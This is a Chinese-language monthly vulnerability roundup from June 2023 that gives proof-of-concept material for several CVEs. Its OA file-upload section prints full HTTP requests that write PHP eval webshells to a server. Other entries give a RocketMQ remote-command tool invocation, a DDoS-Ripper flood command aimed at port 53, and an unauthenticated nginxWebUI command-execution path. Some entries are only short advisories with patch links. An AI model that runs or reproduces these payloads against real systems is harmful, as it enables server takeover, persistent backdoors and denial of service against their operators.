[XJ-01] 6月漏洞追踪月刊

寻迹 · 01

寻迹第[1]期

Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)

POC

# 下载POC
https://github.com/SuperZero/CVE-2023-33246
# 使用
java -jar CVE-2023-33246.jar -ip "目标控制台地址" -cmd "执行的命令"

某oa 11.10 未授权任意文件上传

POC

# 方式一
http://192.168.222.128/general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval($_POST[c]))%3B/*&id=19&module=Carouselimage
# 方式二
无法直接写入带有变量的 php 文件，所以首先利用 无参 webshell
<?php @eval(next(getallheaders()));
请求包
GET /general/appbuilder/web/portal/gateway/getdata?activeTab=%e5%27,1%3d%3Efwrite(fopen(%22C:/MYOA/webroot/general/1.php%22,%22w+%22),%22%3C?php%20eval(next(getallheaders()));%22))%3b/*&id=266&module=Carouselimage HTTP/1.1
Host: 192.168.222.128
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
再次生成
GET /general/test.php HTTP/1.1
Host: 192.168.121.147:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: file_put_contents('test1.php','<?php @eval($_REQUEST[1]);');
Content-Length: 28

Upgrade-Insecure-Requests: 1

nacos漏洞(CNVD-2023674205)

金蝶云星空远程代码执行漏洞

POC

#https://github.com/chaitin/xpoc
#https://stack.chaitin.com/tool/detail?id=1036

xpoc -r 104 -t 目标URL

Jenkins跨站请求伪造漏洞CVE-2023-35141

漏洞类型：跨站请求伪造

影响：请求伪造

简述：在Jenkins 2.399及更早版本，LTS2.387.3及更早版本中，为了加载上下文操作的列表，会发送POST请求。如果URL的一部分包含了不充分转义的用户提供的值，受害者可能会被诱导在打开一个上下文菜单时发送一个POST请求到一个意想不到的端点。

DNS 递归导致 DoS 攻击——CVE-2023–31893

使用DDoS-Ripper进行DDoS攻击测试：

# https://github.com/palahsu/DDoS-Ripper
python3 DRipper.py -s 192.168.15.250 -t 135 -p 53：

nginxWebUI 远程命令执行漏洞

nginxWebUI <= 3.5.0

POC

/AdminPage/conf/runCmd?cmd=id

补丁

https://gitee.com/cym1102/nginxWebUI/releases

nginxWebUI 认证绕过/RCE漏洞

nginxWebUI <= 3.5.0

更新

https://gitee.com/cym1102/nginxWebUI/releases/tag/3.6.0

CVE-2023-35798 Apache Airflow任意文件读取漏洞

• Apache Airflow ODBC Provider < 4.0.0

• Apache Airflow MSSQL Provider < 3.4.1

CVE-2023-20867 VMware Tools身份验证绕过漏洞

• VMware Tools 12.x.x

• VMware Tools 11.x.x

• VMware Tools 10.3.x

更新

https://www.vmware.com

CVE-2023-34395 Apache Airflow ODBC Provider远程代码执行漏洞

更新

https://airflow.apache.org/